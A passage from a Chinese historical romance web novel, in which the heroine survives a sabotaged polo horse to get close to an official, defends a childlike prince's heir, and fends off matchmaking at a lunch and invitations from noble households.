比赛中场休息,谢鹤明从赛场出来,有小厮为他送上水和干净的锦帕。
池楚浠远远地打量着他。
忽地身后有人唤了她一声,几个女子的笑声传来。
“居然还能见着池娘子,你不是与季郎君闹矛盾远走他乡了吗,怎地又回来了?”
“莫不是后悔了,想回来继续做进士郎的小妾?”
“呵呵……”说话的女子掩嘴笑着,其余两人也跟着笑起来,她们看向池楚浠的眼神全是嘲讽。
池楚浠看向这三人,发现自己并不认得她们。
“你们是?”
为首的女子道:“我是蓉绒的闺中密友,你不认得我,可我认得你。”
原来是白蓉绒的朋友,怪不得要专程来嘲讽一番,应是想为白蓉绒出气。
女子道:“蓉绒不介意让你一起进门,你反倒还闹起了脾气,当自己是公主了?还威胁起进士郎来了。”
池楚浠不想与她们多说,对于这些纯粹来找麻烦的人,无论说什么她们都有理由回嘴。
见池楚浠转身要走,为首的女子拦在她面前:“等等,你既然不想与蓉绒共侍一夫,那你可敢与蓉绒一较高下?”
池楚浠道:“她也在这儿?”
“她不在。”女子道,“蓉绒马球打得好,我则略逊她一筹,若你与我比试能赢了我,那我便向你赔礼道歉,承认你的确有几分与蓉绒相争的本事,如何,你可敢比一比?”
另一女子在一旁附和:“不错,咱们大晟朝的女子有自己做主的权利,只要你有本事,我们都认。”
女子指着蹴鞠场地道:“正好那边空出来一块地,咱们在中央设单球门,击入球网多者获胜。”
池楚浠朝她指的方向看去,那里的确可以临时划出来一个马球场地。
谢鹤明此时就在那块场地上休息。
“好。”池楚浠直接应下。
“不可。”裴清浅匆匆跑了过来,她有些焦急地小声对池楚浠道,“这位郑娘子最擅长打马球,姐姐你与她比试必定落下风,她们不是真心比试,只是故意让你难堪。”
郑绮棠冷哼了一声:“我不占你们便宜,你们两个可以一起上,我一对二,或者我让你两个球。”
裴清浅扯着池楚浠的袖子道:“不要答应她,她们故意寻你难堪。”
池楚浠远远地看了谢鹤明一眼,转眼对郑绮棠笑了笑:“我答应比试,你也不必让我,即便是输了我也认。”
“好,这可是你说的。”郑绮棠招呼随从,“去牵马来。”
裴清浅一脸担忧地拽着池楚浠的袖子:“姐姐,你为何要答应,她们摆明了欺负你。”
池楚浠抚了抚她的手背:“我自有分寸,你跟着紫珞一起看比赛就是,不必担心我。”
郑绮棠的小厮牵了两匹马,让池楚浠从中挑了一匹。
几人一起往马球场地走去。
郑绮棠对谢鹤明道:“谢监丞,我们想在这儿赛马球,不知可否行个方便?”
谢鹤明有些好奇地朝几位女子看来,他笑道:“你们几个赛马球?”
郑绮棠道:“怎么,谢监丞觉得我们打不了马球,只准你们玩蹴鞠不成?”
“我不是这个意思。”谢鹤明道,“我这就让人把这块场地收拾出来。”
“早就听闻郑娘子的马球打得数一数二,平日里倒是难得一见。”
郑绮棠道:“蓉
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绒才是马球打得最好的娘子,你该见见她的风采。”
场地收拾好了,池楚浠和郑绮棠换了衣裳上场。
今日就她们二人比赛,总共五局。
池楚浠的球衣是郑绮棠给的,短靴也是,不过好在都很合身。
两人骑在马背上听着入场前演奏的曲目。
这临时演奏的乐曲是谢鹤明叫人加的,这样更符合打马球的赛程。
郑绮棠道:“池娘子,请吧。”
池楚浠手里握着半月牙状的长杆,这杆由硬木制成,表层包兽皮防损伤。这球杆是专程给女子用的款式,适合力气小的骑手。
“请。”池楚浠道。
比赛开始,规则是击入球网多者获胜。
蹴鞠比赛因为这场突然而来的马球赛暂时停止了,参加蹴鞠赛的两队公子哥跑来这边看女子马球赛。
所有人也都围在了马球赛场外。
裴清浅在人群里紧张得攥紧了拳头。
“紫珞,你说姐姐能赢吗,我从未见过她打马球啊……”
紫珞也一脸凝重,摇头道:“我也不知,娘子,你在这儿不要走动,奴婢去去就回。”
紫珞从人群中撤出来,她快步朝远处走去。
郑绮棠刻意让了池楚浠第一球,池楚浠成功将球击入球门。
池楚浠知道对手故意相让,她眼中带着笑意朝郑绮棠看去。
郑绮棠却冷声道:“别对我摆出笑脸,我可不会让你输得太好看,接下来就看你的本事了。”
池楚浠道:“请便。”
面对池楚浠一副无所谓的态度,郑绮棠倒有些看不透了,不过这也令她不快,手上用力把球击了出去。
球顺利落网。
接连打了三局,池楚浠只进了一球,剩下两球都是郑绮棠赢的,丝毫没给她留任何余地。
郑绮棠提着球杆看向池楚浠道:“你既然不会打又为何还要答应,难道想让人觉得是我在欺负你?”
池楚浠道:“并不是。”
郑绮棠冷哼一声:“你最好不是这样盘算的。”
池楚浠低头摸了摸马的鬃毛,她已经瞧见这马儿的瞳孔有了明显的变化。
方才随手一摸,身下的马便突然狂躁起来,高高扬起前蹄长鸣。
“啊……”
池楚浠顿时惊恐起来。
她也早料到这匹马会如此,从马儿交到她手里的那一刻她便发现了不对劲。
她牢牢抓住缰绳,随着马儿在场上胡乱跑起来。
郑绮棠立马看出了异常,赶紧叫来随从问道:“怎么回事?”
小厮吓得脸色一白:“小的也不知。”
郑绮棠立刻看向跟随她的两位小娘子,一下就发现了她们心虚躲闪的眼神。
“你们真是……何故耍这些手段!”
两位小娘子被郑绮棠训斥一通,纷纷低着头不敢吭声。
郑绮棠策马朝池楚浠奔去,只是那匹疯了的马这会儿正在兴头上,扬着蹄子满场乱蹿。
“你会御马吗?”郑绮棠隔着很远高声问道。
池楚浠自顾不暇,一边死死抓住缰绳一边惊恐地道:“我、我不会……”
“该死!”郑绮棠暗骂了一声,继续朝池楚浠追去。
这种时候,即便是她追上了池楚浠也不敢轻易动手帮她,谁知道那匹马有多疯,会不会踢人。
74. 画中之人
郑绮棠的马术还不错,很快便追上了池楚浠,但她只敢跟在池楚浠的马儿身后,伺机想办法救人。
可还没轮到她动手救人,眼前的疯马便突然调转了方向,郑绮棠大惊失色。
池楚浠惊慌之余用力拉动缰绳,暗中控制着马儿跑的方向,此时这匹马直直朝观赛的谢鹤明冲去。
池楚浠明面上表现得愈加惊慌失措,小娘子无助的眼神看向谢鹤明。
郑绮棠在后方大喊一声:“谢监丞快让开!”
池楚浠道:“救命……”
谢鹤明神情一凛,眸中瞬间有了几分冷色,他一个侧步上前拽住池楚浠的缰绳翻身上马。
他的力气比池楚浠大了许多,几度用力的拉扯下,马儿再次调转方向跑向了空地。
总算不至于朝这人群冲去,万一伤到了哪位郎君小姐可就麻烦了。
池楚浠用受惊的语气道:“这马可还会停下,我头晕……”
谢鹤明已经完全接过缰绳,稳稳地控制马儿跑的方向,他道:“它快安静下来了,不必担心。”
马儿若是发狂,一旦有人能驯服它多半能相安无事。
谢鹤明带着池楚浠绕了两圈,身下的马儿终于不再折腾,跑的速度降了下来。
他找准机会勒马停下,将池楚浠抱了下来。
“我有点晕……”
池楚浠站立不稳,借势扶住谢鹤明的胳膊。
谢鹤明任由她扶着。
“这马定是受了什么刺激,否则不会无缘无故发狂,你身子不适需得着个大夫瞧瞧。”
池楚浠靠着谢鹤明缓了片刻,但实际她的眼神清明得很,这一会儿功夫她借机把谢鹤明看得更清楚了,若晚吟没画错,他就一定是那个游商。
“多谢监丞救我一命。”池楚浠站好后朝他见了个礼。
如此近距离看眼前这位小娘子时谢鹤明怔了怔,一套束身衣穿在她身上显得很是娇俏,不多加修饰的面容在一众小娘子里颇为出色。
“没伤着就好。”谢鹤明道。
池楚浠缓缓抬眼看着他,眼中尽是感激。
谢鹤明没看出来这份感激里有多少假意。
郑绮棠赶了过来,有些歉意地道:“是我没管好身边的人,我代他们向你赔罪,对不住,你想要什么赔偿?”
池楚浠道:“不必了,今日的比赛是你赢了。”
“胜之不武,没意思。”郑绮棠道,“今日的比赛作废,有机会的话改日再比别的。”
池楚浠道:“不用比了,我本意并不是要与你们争什么,你放心,我是不会再去白娘子身边横插一脚的,你们也不必为她争。”
“说得好听。”一位穿红裙的小娘子上前道,“既然不争你为何还要出现在长安,不是已经走了,又何必还跑回来。”
郑绮棠朝红裙女子看去:“云姝,别再说了,方才马匹一事我还未与你算账。”
崔云姝冷眼看向池楚浠:“我就是在马匹上动了手脚怎么了,就该摔死你才好,省得有你这么不识好歹,不讲规矩的女人混迹在长安。”
池楚浠道:“不讲规矩、背信弃义的人不是我,别再给我安莫须有的罪名。”
崔云姝气不过,扬手就要朝池楚浠打去。
谢鹤明抬手将她拦住。
“云姝妹妹,不可胡乱打人。”
崔云姝没好气地瞪了谢鹤明一眼,道:“姐夫,你怎么还向着一个外人,你难道不知这位池娘子是何许人,难道不知她是如何给脸不要脸的,当初是她非逼着进士郎退了与白姐姐的婚事。”
池楚浠道:“我没逼过任何人。”
崔云姝冷哼道:“当初你与季沐风闹得人尽皆知,谁不知道,你拿退婚逼迫季郎,难道不是你的错,你敢说你没有这么做?”
池楚浠看着她的眼睛,定定地道:“我没有,不知你们是从哪里道听途说的,我只不过是退个婚而已,还他一个自由,他想娶谁都与我无关。”
崔云姝推了谢鹤明一把,抬手又要打池楚浠,她这一巴掌扬得老高,势必要将池楚浠的脸打开花。
池楚浠也没想着要接下她这一巴掌,正打算躲开,一个高大的身影就蹿到她面前。
她还没看清,崔云姝的巴掌就落下了。
“啪”的一声,崔云姝狠狠打在了张邈身上。
“嘶。”崔云姝打得手疼,含泪把手缩了回去,她定睛一看,眼前不知是哪个男人竟挡在了池楚浠面前。
“你又是哪家的?怎么从来没见过你?”崔云姝气哼哼地揉着手腕道。
“汪!”
张邈着急时一开口便是汪的一声,他对着崔云姝龇牙咧嘴,一双大眼睛怒瞪着她。
崔云姝先是被他凶恶的神情吓了一跳,接着就笑起来:“哪里来的狗,怎么没让家里人栓住,竟跑到这里来凑热闹。”
张邈着急起来便控制不住自己,眼看一张嘴又要学狗叫,池楚浠赶紧将他往身后一拉,完全将他护住,用噤声的手势示意他不要开口。
张邈硬生生控制住了自己,但眼睛却是因为憋屈而显得泪汪汪的。
池楚浠道:“崔娘子,何苦这般取笑他人。”
崔云姝根本藏不住笑,又呵呵地笑了几声,她指着池楚浠身后的男人道:“他自己学狗叫还不让人笑了,谁家男人一开口就是一声狗叫的,他不会说话吗?”
谢鹤明沉沉地看了崔云姝一眼:“云姝,不可多嘴。”
崔云姝一记横眼瞪着张邈,对谢鹤明娇嗔道:“姐夫,我又没错,是他自己要来招笑的。”
张邈被池楚浠扯到身后,但池楚浠感觉到他按捺不住,一副想要与崔云姝拼搏到底的势头。
池楚浠按了一下躁动的张邈,柔声对他道:“想说什么都可以,切记慢一些,不可操之过急。”
张邈含泪点头,一步从身后站出来,紧紧盯着崔云姝道:“你、贱人!”
“噗!”
旁边的人群里发出笑声。
张邈的语气又气愤又生疏,突然骂出一句话来很难不招笑。
崔云姝也不知这些人是在笑她还是笑张邈,顿时气得脸都红了。
“你……你才是贱人,学狗叫的畜生!”
崔云姝摒弃女子该有的风范张口就骂了回去。
张邈见把人骂生气了,心里很是高兴,他叉腰站在池楚浠面前,继续洋洋得意道:“你、畜生不如。”
人群里又是一阵笑声。
崔云姝从没想过会有男人能在这种场合与女子对骂,她再骂下去脸都要丢尽了,她好歹是个未出嫁的小娘子啊。
“姐夫……”
崔云姝红着眼睛拽住谢鹤明的袖子,想让姐夫帮忙主持公道,毕竟她和姐夫才是一家人,荣辱与共。
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“姐夫,你就任由此人当众骂我,他这等行径传出去不丢人吗?”
“我们崔家的人就这样被他们践踏啊姐夫……”
谢鹤明听得眉头皱起,他拂开崔云姝的手道:“好了,你也少说两句,你一个未出阁的小娘子与人大庭广众之下对骂成何体统。”
“姐夫!”
崔云姝被训得眼泪都出来了,心里感觉委屈得很。
张邈越骂越来劲,指着崔云姝道:“畜生嫁不出去!”
池楚浠感觉他骂得太过了,之前那几句算是报了仇,再骂下去就不太好了。
于是池楚浠冲张邈摆了摆手:“可以了,世子,别再骂了,她终究是个小娘子,还要点脸面的。”
张邈冷哼了一声,仍旧叉腰护在池楚浠面前,但他仍旧龇牙咧嘴地吓唬崔云姝,还道:“你的马要害死池娘子……我会、杀了你。”
张邈的眼神令崔云姝感到一阵寒意,他说这话像是真的要杀了她一般。
崔云姝道:“你、你你敢,我姐夫是少府监监丞,官居六品,你胆敢来杀我,我姐夫必要当场砍掉你的脑袋。”
张邈丝毫不示弱,抬手就比划了一个抹脖子的动作,接着又对崔云姝一通龇牙。
崔云姝吓得往后退了一步,又赶紧躲到谢鹤明身后。
“姐夫你快送他去衙门,他是个疯子!”
池楚浠安抚张邈道:“别斗嘴了,天子脚下不可随意杀人,她在马身上做手脚加害于我自有官府处置。”
谢鹤明方才听见池楚浠唤那个男人世子,他便记下了,这会儿便问道:“郎君可是滕王府的世子?”
池楚浠替他答道:“是。”
谢鹤明一惊,但很快就平静下来:“少府监监丞见过世子。”
张邈不理人,他还不会与这些人虚以委蛇。
此时,一直在一旁候着的王府侍卫上前客气道:“谢监丞有礼了,我们家世子才回长安不久,与诸位不熟,监丞勿怪。”
谢鹤明早已看出张邈异于常人,加之从前听过的一些世子的传闻,他便对张邈此人有了一定的认知。
“世子想看蹴鞠的话我可为世子寻个好位置,一会儿咱们的比赛就要开始了。”
侍卫道:“那就劳烦监丞了。”
张邈不依不饶地指着崔云姝道:“抓她去衙门。”
侍卫道:“世子放心,公廨里的人会来处置,咱们去看比赛吧。”
张邈抓住池楚浠的袖子不撒手。
侍卫道:“您与池娘子一起去看便是。”
“好啊!”张邈兴奋地看着池楚浠,“一起看、蹴鞠。”
池楚浠扫了谢鹤明一眼,她此番是来接近谢鹤明的,借此机会说不定能与谢鹤明多说上两句。
“好,我随你同去。”
崔云姝得知了张邈的身份后脸色都白了,没想到这个疯男人竟是腾王府世子,腾王府她还得罪不起。
崔云姝心里害怕得直打鼓,怕立即就有衙门的人来拉她去法办。
她悄悄拽住谢鹤明的衣袖跟着他走了几步。
谢鹤明道:“云姝,你今日得罪了世子,此事需得你父亲出面才可解决,我是帮不了你了。”
“姐夫,我阿耶知道我在外与人吵架会打死我的,姐夫你行行好,帮我这一回。”
崔云姝放软了语气央求着。
75. 另结良缘
谢鹤明抛下崔云姝去了比赛场中,下一场比赛马上就要开始了。
崔云姝只能求到郑绮棠面前。
“我哪知那人是滕王府的世子,郑姐姐,我也是想为蓉绒出一口气,你不能不帮我。”
郑绮棠皱眉看着池楚浠,对方这会儿正在世子旁边坐着看比赛。
郑绮棠道:“她如今勾搭上了世子,此事没那么容易清算,让你阿耶去登门致歉或许尚有挽回的余地。”
郑绮棠不悦道:“谁让你自作主张,今日那马没伤着人就算了,若摔死了她你还怎么脱身。”
崔云姝也不嘴硬了,只道:“是我糊涂,郑姐姐,能否越过我父亲将此事大事化小?”
郑绮棠皱眉沉思,过了一会儿道:“那只能我带你登门道歉,就是不知滕王是否能大肚量让此事过去。”
崔云姝脸色难看,愤愤地瞪着池楚浠的背影道:“都怪她,这个祸害。”
裴清浅跟着池楚浠站到了前排,这下不用踮着脚看了。
赛场上的两队人打得如火如荼,都是些年轻郎君,风华正茂,恣意昂扬。
裴清浅鲜少出来参加这些活动,今日看得兴起,直拍手叫好。
张邈被她的气氛感染,也跟着拍手为选手鼓劲。
突然,场中的球划出一个较大的弧度,径直朝裴清浅这边飞来。
她瞪大了眼睛看着球,还没来得及反应,一个郎君便疾步冲过来接走了那颗球。
裴清浅呆愣愣地望着他。
那郎君一边护着球一边抽空问裴清浅:“吓着了?”
“没……”裴清浅怔怔地应了句。
那人迅速把球送去了球门,其余郎君追了上去。
苏岫不知何时也挤到了前排,她侧目对裴清浅道:“方才那位是魏九昭,你可认得?”
裴清浅摇摇头:“听过……但不认得。”
苏岫道:“是殿中侍御史魏承钧之子。”
裴清浅:“哦……”
苏岫看了看池楚浠,又看了看场中做裁判的谢鹤明,那谢鹤明分明总是看向世子的位置,他总不可能真的是在看世子。
苏岫也不避讳了,直接盯着池楚浠看。
只见池楚浠正在与世子说话,似乎在跟他讲解蹴鞠的比赛规则,哪队进的球多,哪队进的球少。
不知不觉,下半场比赛已经结束,两个队伍分出了胜负,魏九昭所在的队伍获胜,拿到了今日的彩头,是几块贵妃赏的玉佩。
围观的人群渐渐散去。
秦迟来接张邈了,他对着池楚浠客气道:“池娘子可愿随世子去王府做客?我们王爷有请。”
池楚浠看了看身边的张邈,对秦迟道:“我还有别的事要忙,就不去了,若有得罪还请见谅。”
秦迟为难道:“池娘子,你也知道我们家世子这性子,如今灵枢谷那几个与他要好的大夫都不在,除了那几人他就是跟你最玩得来,你不在的这段时间他嚷嚷了无数次要找你,我和王爷也是没有办法了。”
秦迟摆出一副恳求的模样:“世子的心智与常人不同,他就认自己结识的朋友,王府里的生人他碰都不让碰,整日郁郁寡欢,所以今日王爷才允他出来游玩,好放松放松。”
“池娘子,你就随我们回去做客,就一两日,不会耽误什么要紧事吧。”
张邈一脸期待地看着池楚浠,两只手紧张地搓在一起。
“张邈……没有人玩儿。”张邈望着池楚浠道,“池娘子一起捉迷藏,猜谜语。”
池楚浠看着张邈这张天真的脸,一时竟不忍心拒绝,可她的确不太想去王府,于礼说不过去。
“秦将军,我虽是有过婚约之人,但并未嫁人,若是就这样随世子去王府小住几日,恐怕于礼不合。”
秦迟和王爷都是个粗人,只一心想着世子是否开心,是否有玩伴,倒是没认真想过这一层,他们甚至以为池娘子不会介意。
秦迟拍了拍脑袋道:“要不这样,让王爷邀裴县尉一家子来做客,这总没什么闲话好说了吧。”
池楚浠道:“也不妥,我家中还有一位清浅妹妹尚未婚配,若我一家子都住到王府去,那旁人岂不是会以为王府想娶裴家姑娘,我的清浅妹妹将来该如何?”
“这……”秦迟痛苦地道,“这也不行,那也不行,池娘子就真的不能去王府陪世子玩几天?”
“你要是把世子陪高兴了,想办什么事王爷一准帮你办了,何苦你自己费那些功夫,你说是不是?”
秦迟觉得自己说得很有道理,就等着池楚浠点头答应了。
池楚浠道:“我的事不想劳烦王爷,秦将军,对不住,替我谢谢王爷的好意。”
她看向张邈,他已经从一脸期待变成了一脸无奈,委屈巴巴地看着池楚浠。
“王府没人陪我……说话,他们不好。”
秦迟抠着脑袋道:“祖宗,他们不是不陪你说话,是你压根儿就不理人家。”
张邈大声道:“他们就是不好!他们不是小狗!”
秦迟两眼一黑:“……”
池楚浠对秦迟道:“想必是你们的方式错了,与世子说话要把你自己当做是和他一样的物种,他是狗,你们也得是狗,用狗的方式跟他说话。”
秦迟:“……”
“我做了这么多年人,没学过怎么当狗啊。”秦迟痛苦道。
池楚浠笑了笑,面对着张邈招了招手掌,她的手掌刻意往后缩着,像是动物的爪子。
张邈忽然瞪大了眼睛,一股兴奋模样地低下头来,把耳朵凑到池楚浠嘴边。
池楚浠在他耳边问:“你觉得秦将军像什么颜色的狗狗?”
张邈一听,激动得差点学狗叫,兴奋得脸都红了。
池楚浠趁机提醒他:“说话,不要叫,我们听不懂。”
张邈瞥了秦迟一眼,张口就道:“黑狗、大狗,尾巴很长,会杀人。”
池楚浠笑了笑,奖励似地摸了摸张邈的头:“我觉得也是,不过他不杀好人,只杀坏人,他是条好狗,你可以跟他玩。”
张邈看向秦迟,勉为其难地点了点头:“好。”
秦迟:“……”
池楚浠道:“秦将军,你回府后可将此法告知府中其他人,与世子玩耍时要放低姿态,尽量用动作与他沟通,别说太多话,他听着会觉着烦躁不安。”
“灵枢谷的大夫说他还未恢复得很好,说话一事急不得,要慢慢来。”
“你们旁人与他沟通更是如此,切记话密,切记俯视他。”
秦迟努力把这些记下。
“我尽量,回去我就告诉府里的人,别把自己当
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人,要当狗才配和世子一起玩儿。”
池楚浠道:“秦将军好悟性,只要好好做狗,难题便能迎刃而解。”
秦迟还是不放弃,最后问道:“真的不能跟我们回王府吗,毕竟王爷都发话了。”
池楚浠还未来得及回答,身后便有人替她答了。
“不回王府。”
池楚浠往后看去,见来的人竟是景序昭。
景序昭上前道:“秦将军这就想诱拐良家妇女去王府做客,未免太心急了,世子还是这副模样,哪个女子愿意跟他。”
秦迟被说得老脸一红,他也不是装傻,家中王爷的确有这个意思。
能跟世子和得来的女子整个长安恐怕只有这一位,此时不下手不知还要等多久。
秦迟道:“景县丞怎么还不回苍山,是舍不得去那穷乡僻壤了?还是长安好吧。”
景序昭冷声道:“我去不去苍山还轮不到秦将军安排,陛下交给我的事还未办完,不急在这一时。”
“做人要有良心,秦将军你说是不是?不能什么东西说抢就抢。”
秦迟脾气不怎么好,他不乐意道:“我抢什么了,池娘子未婚配,即便我家王爷有下聘之意难道就有错吗?倒是景县丞说话这般难听。”
“又不是抢了你家的姑娘,人家池娘子愿意跟世子做朋友,池娘子都没说什么,轮得到你来替她拒绝?”
景序昭寒光似的眼神落在秦迟的配刀上,沉声道:“听闻秦将军一直想和我兄长切磋,不过我看秦将军这刀怕是连我的刀都比不过。”
“至于我兄长,你还差得远。”
秦迟气得一吹胡子:“你别以为仗着家大业大就敢对我出言不逊,就算是你兄长来了也不敢这样跟我说话。”
景序昭冷笑一声:“可我不是景凛渊。”
池楚浠扫了这几人一眼,淡淡道:“抱歉,失陪了。”
她转身就走。
秦迟刚要冒出的火就哑在了半途。
张邈追着池楚浠刚跑出两步,就被景序昭一把拽了回来:“不许去。”
张邈顿时泪眼婆娑。
不远处的紫珞给景序昭使了个眼色,景序昭看也没看秦迟一眼,转身便走。
秦迟几次吃瘪,有气都没处发。
池楚浠一眨眼就混进了人多的地方。
紫珞赶紧给景序昭指了个方向:“她去寻谢监丞了。”
景序昭的脸色瞬间一沉。
紫珞忐忑地去了另一个主子身边,方才她看出池楚浠有意找谢鹤明便赶紧飞鸽传讯告知了景序昭,这些年来她待在田家没少为景序昭传递消息。
如今得知池楚浠有新的中意之人,她势必要将消息准确传达。
时辰还早,散去的大多数人回了城中的酒楼。
池楚浠跟随谢鹤明去了曲江阁。
此时正是曲江阁热闹的时候,客人们络绎不绝。
“池娘子。”
苏岫唤道。
“可否邀池娘子一起品鉴美食?”
苏岫指着楼上的座位道:“我的人已经定好了位置,是雅座,比这楼下舒适多了。”
池楚浠看向她指的地方,就在她雅座的旁边是另一个雅座,谢鹤明与好友就坐在那儿。
“多谢苏娘子。”池楚浠直接应下。
76. 我来做媒
池楚浠与苏岫同桌,明知谢鹤明就在隔壁雅座,中间只隔了一道帘子,池楚浠故意没往旁边看一眼。
苏岫道:“我还邀了你妹妹清浅一起入席,我的人方才见着她已经去请了。”
池楚浠笑着道:“我与苏娘子不熟,不知苏娘子为何要请客?”
苏岫微微一笑:“我与你是不熟,不过我与令妹倒是聊了许多,已是熟人了,索性就一起吃个饭,反正比赛散去后大家都是成群结队来酒楼吃饭。”
池楚浠道:“原来如此。”
看比赛时裴清浅竟与苏岫聊到了一起去,池楚浠还以为裴清浅对这位苏娘子意见很大呢,没想到两人竟是合得来的。
裴清浅领着紫珞一起过来,看她那样子的确是与苏岫熟络得很,这么一会儿两人便成了密友,池楚浠颇为感慨。
苏岫对两位道:“选你们爱吃的菜,不必客气,曲江阁我是熟客。”
裴清浅的确不客气,直接跟店里的伙计报了菜名。
“多谢苏姐姐。”
裴清浅这副嘴脸全让池楚浠看眼里,明明之前还暗骂过苏岫,这会儿就亲切地叫上姐姐了。
池楚浠无奈地笑了笑。
苏岫是几个娘子中年纪最大的,不过是与适婚娘子做对比显得年纪大,实则她也才二十岁罢了。
苏岫道:“恭喜裴妹妹今日相得如意郎君,回头我就旁敲侧击与魏公说说,好早日为你两家定下亲事。”
裴清浅脸蛋一红,脑袋都低了下去。
池楚浠这才明白过来,原来是裴清浅看上了魏家的郎君,苏娘子愿意去帮她传话,难怪态度转变如此之快。
“是魏九昭?”池楚浠问。
“是了。”苏岫道,“正是与裴妹妹门当户对,郎才女貌。”
这魏九昭正好是义父选中之人,今日这般凑巧,裴清浅也看上他了,要不说他俩是亲父女呢,连眼光都一样。
苏岫眉眼带笑地看着池楚浠:“我瞧着池娘子今日倒是对谢监丞多看了几眼呢。”
池楚浠明知道谢鹤明就在旁边,但她却没解释,只道:“谢监丞年轻有为,自是人人仰慕的。”
裴清浅没留意到谢鹤明就在隔壁,她笑着对苏岫道:“不如苏姐姐也为我阿姐牵一牵线,看看谢监丞是否有意?”
苏岫脸上一喜,道:“我自是愿意,就是不知池娘子的想法,你当真中意谢鹤明?”
隔壁的谢鹤明正在与好友小酌,他端着酒杯的手顿了顿,显然已经听到她们的对话。
好友忍着笑没敢吭声,但又想说点什么,刚唤了句“谢兄”便被谢鹤明制止了。
只听得池楚浠道:“我并无此意,何况谢监丞这等家世我是配不上的,就不劳苏娘子费心了。”
苏岫道:“池娘子不必自谦,你相貌出众,讨人喜欢,未必不能与之相配。”
池楚浠淡淡一笑,没有拒绝也没有应承。
若是有机会,她必然要与谢鹤明深入接触一番,苍山一案,或许他是唯一的突破口。
主动说自己配不上他才不会令人多想,自己的名声已经臭了大半,若主动去攀附定会被谢鹤明不耻,于自己而言没有半点好处。
暗地里仰慕,明面上却要避着,这才是她应该有的姿态。
苏岫全然只当池楚浠是真觉得自己配不上谢鹤明,即使对他有好感也不敢宣之于口,便只能压在心里。
不知为何,池楚浠瞧着苏岫似乎很高兴的样子,这令她有所不解。
毕竟谢鹤明可是求娶过苏岫的,只是苏家婉拒了。
苏岫几次想掩去脸上笑意都失败了,那笑意直接从眼里溢了出来。
“我阿耶与谢监丞有些交情,改日有机会,我邀你二人到府上做客。”
池楚浠客气道:“苏娘子费心了,我还是不去为好,免得城中其他娘子说你闲话。”
毕竟不少小娘子都背地里嘲讽池楚浠。
苏岫道:“无妨,她们还不敢对我苏家的人嚼舌根。”
池楚浠不知这苏岫为何处处偏帮,看似接近裴清浅,实则总想为她说亲事,倒是有几分奇怪。
池楚浠全程没去看隔壁桌的人,故意装作不知谢鹤明在场,与苏岫吃完饭后她与苏岫一起从曲江阁出来。
“清浅,池娘子,过几日我会将请帖送到府上,二位可一定要来。”
裴清浅笑道:“多谢苏姐姐相邀。”
曲江阁阁楼上,谢鹤明起身从窗口望去,看着裴家两个小娘子的身影渐渐远去。
好友放声笑道:“谢兄,没想到竟有小娘子瞧上你了,那姑娘你可中意?”
谢鹤明看着街上的身影回过神来,淡淡道:“她是裴家的义女?”
好友道:“这我倒是有所耳闻,听说她曾与季沐风有过婚约,后又主动退婚,这事在长安城都传遍了。”
“她与季沐风有过一段情,而你又丧妻多年,这些年来除了苏娘子你对旁人也没兴趣,不如就定下这位池娘子,你去上门提亲她必定会答应。”
另一好友道:“是啊,方才我瞧见那苏娘子看了你一眼,想必是早就知道你坐在这里了,她到如今也对你提不起兴趣,反而还想撮合你和别的女人,我看不如就这样办。”
谢鹤明沉思片刻道:“我与苏家的事不许再提。”
两人异口同声:“知道知道。”
“以后不提。”
池楚浠前脚刚回到裴家,后脚就收到了王府送来的请帖。
田兰竹亲自来接的请帖,她疑惑道:“要我家池娘子去滕王府做客?”
来送请帖的管家道:“是,王爷亲自下的请帖,请池娘子得空时去做客,我们王府必定好生招待。”
“这……”田兰竹捏着信犹犹豫豫道,“好,替我们谢过王爷。”
管家回了话便走了。
田兰竹拉着池楚浠,有些担忧地道:“这王府是怎么回事,怎会邀你前去做客?”
“我今日听闻王府那个痴傻的世子从外面接回来了,不会他们想让你跟那个傻世子培养感情吧?”
田兰竹自己这样一说就慌张起来:“难道他们真想给世子说门亲事,还好巧不巧挑中了咱们家?”
池楚浠拉着田兰竹回了屋里,两人坐着慢慢说。
池楚浠道:“我与世子是有些交情,世子也跟我合得来,滕王就想邀我去府中同世子做伴,至于结亲,我是没这个心思,那世子的心性不过是个孩子而已。”
田兰竹道:“你不这样想,我就怕王府这样想,你一个还未出嫁的娘子,怎么能去同世子作伴玩乐,传出去将来你该如何?”
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田兰竹忧心道:“我问问你义父能否找人将此事搪塞过去。”
池楚浠道:“干娘不必忧心,我来解决便是,王府并未给我具体期限,去王府一事暂且搁置着,不用着急。”
田兰竹只能照池楚浠的意思办,不过另一边她还是找裴焕去托人讨价还价了。
去王府的事还未定下,没过两日裴家就又收到苏家送来的请帖,苏家邀请裴家女眷去府上赏花。
田兰竹决定一同前去,她也好看看女儿相中的魏九昭是何模样。
翌日一早,田兰竹就带着两个女儿去往苏府。
苏家是高门大户,住在宫城脚下,尚有一段路程,需得坐上马车前去。
递了请帖后苏家管家迎了人进去。
“夫人和娘子们去前厅坐。”
苏家丫鬟领着她们去了裳花的厅中。
苏岫见她们来了,亲自上前接人:“快随我来,今日可热闹了。”
给田兰竹安排好座位,苏岫便悄声对两人道:“郎君们在另一厅中品酒聚会,午时大家可同席。”
裴清浅一想到苏岫的用意便脸红了几分,不好意思地低了低头。
苏岫笑道:“不必害羞,长安城的娘子想要什么必定大方坦荡。”
池楚浠看了看周围的布景,称赞道:“今日府中的莲花粉妆玉琢,很是好看。”
苏岫道:“今日家中的莲都搬出来供大家赏玩,若有喜欢的届时可搬一盆回去养着,有些品种我瞧着也是爱不释手。”
池楚浠当真去赏莲了。
没想到郑绮棠今日也在,她刻意来到池楚浠面前道:“那日是崔妹妹不懂事,害你差点坠马,今日来我来替她赔个不是。”
丫鬟捧过来一个小盒子,郑绮棠道:“这些是赔罪礼,你看看喜不喜欢?”
池楚浠接过盒子打开看,里面是一些名贵的首饰,款式都还不错。
“破费了。”池楚浠将盒子还回去,“不必给我这些,我既没从马上摔下来,想必去告她也是告不准的,她倒不用如此担惊受怕。”
郑绮棠道:“你不去告旁人会去,那日那么多人都瞧见了,且世子还拼命维护你,若你要追究此事她根本逃不掉。”
池楚浠冷冷地弯了弯唇角:“那就不是我的事了,我自己暂时还不追究。”
以她目前的身份来说,根本斗不过崔云姝,更惹不起郑绮棠,何苦在这个节骨眼上自讨没趣。
但若是旁人要找她们麻烦,她自然不会插手,作恶的人总归要付出点代价不是吗。
郑绮棠脸色不太好看,精心准备的赔礼竟然送不出去。
“池楚浠,事到如今你还装清高,你莫非以为跟季郎君退了婚就彰显你独一无二了,可笑,大家只会觉得你不识抬举,侮辱白家嫡女在先。”
池楚浠道:“是季沐风辱我在先,郑娘子,你不是号称女中豪杰么?若是有人违背对你的承诺,转头就娶别的女子,你当如何?”
